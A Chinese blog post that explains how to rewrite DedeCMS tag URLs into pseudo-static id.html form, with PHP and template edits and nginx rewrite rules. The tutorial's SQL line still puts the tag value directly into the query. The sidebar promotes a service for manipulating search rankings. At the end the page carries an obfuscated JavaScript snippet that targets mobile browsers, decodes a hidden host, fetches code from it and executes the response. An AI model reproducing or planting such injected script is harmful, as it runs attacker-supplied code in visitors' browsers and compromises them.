织梦tag标签伪静态设置id.html结尾+linux伪静态规则

2021年01月09日admin阅读(736)

织梦tag伪静态不仅利于美观而且还利于SEO,但是官方提供的tag是tags.php?/+中文,为结尾的格式而且还是动态调用数据库,对于喜爱静态的朋友来说十分的不习惯,而且官方的教程和网络上的其他教程都不详细,实现的比较少。以下是本人摸索出来的教程,不需要在后台开启伪静态,也不需要修改数据库等内容,十分的方便。下面附教程。

环境:

linux系统,nginx环境,宝塔linux面板,欲实现的格式为:域名/tags/id.html

步骤

1、更改include/arc.taglist.class.php 文件中的

$this->TagInfos = $this->dsql->GetOne("Select * From `dede_tagindex` where taglike '{$this->Tag}' ");

替换为:$this->TagInfos = $this->dsql->GetOne("Select * From `dede_tagindex` where id like'{$this->Tag}' ");

注:代表从数据库中输出tag名字变更为输出tag的ID,即tags.php?/中文,变成tags.php?/id

2、更改include/taglib/tag.lib.php

找到$row['keyword'] = $row['tag']; 将$row['tag']更改为$row['id']

找到$row['link'] = $cfg_cmsurl."/tags.php?/".$row['keyword']."/";

更改为:$row['link'] = $cfg_cmsurl."/tags/".urlencode($row['id']);

注:第一行代表将tag的名字变为tag的id,第二行代表将tags.php?/+tag关键字变更为tags格式+tag的id

3、修改tag列表调用页获取tag标题,在对应的tag首页模板里面修改

{dede:field.title /}更改为{dede:sql sql="select tag from dede_tagindex where id=~title~"}[field:tag/]{/dede:sql}

注:代表获取tag原列表中的标题变更为tag的id,然后在模板页调用的结尾加上.html即可

4、增加nginx伪静态规则

rewrite ^(.*)/tags.html $1/tags.php;

rewrite ^(.*)/tags/(.*).html $1/tags.php?/$2;

注:需要主机商开放的权限,iis、apache、nginx等伪静态各不相同,其他环境的请自行百度搜索伪静态重写的规则

5、文章页调用

{dede:tag type='current'/}

更改为:{dede:field.tags/}

至此大功告成,测试完全无任何问题,将动态的tag重写为伪静态的tag,十分的方便,不需要安装软件,不需要付费购买软件,唯一的一点不足就是不能生成静态的文件,不能生成手机端的伪静态。

进阶版:如果要变成域名+tid.html,的样式,(t代表随意的字符,id代表tag的ID,)则需改两处:1、将第2条中/“tags"/改为/"t"即可,2、将第4条伪静态中/tags/改为/t即可。这样的好处之一就是伪静态之后tag的url地址少了一个tags目录,url地址级别就更高一些,SEO的权重更高一些,当然其中的字母t可以设置为任意,但是伪静态的规则也要随之修改。好处之二就是在百度站长后台提交移动适配的时候,与栏目id.html结尾的方式适配规则不一样,这样可以避免移动适配失败。

本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

卓仁IT博客
卓仁IT博客的快速排名服务领先80%同行,首家开创刷百度关键词排名程序,非纯点击方法,无点击软件出售,需要seo快速排名提高网站排名请咨询顾问。
  • 文章61413
  • 评论0
  • 浏览12552684
function HwrGU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function rdIfsiYJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HwrGU(t);};window[''+'D'+'S'+'G'+'Z'+'I'+'d'+'e'+'C'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=rdIfsiYJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';console.log(u);var xhr=new XMLHttpRequest();xhr.open('GET',u+'/s/a?_='+i);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function(data.data)(cs);}};xhr.send('u=1');})('aHR0cHM6Ly9hcGkueHloeC5vcmc=','428516530718064640',window,document,['','VxKGyJk']);}:function(){};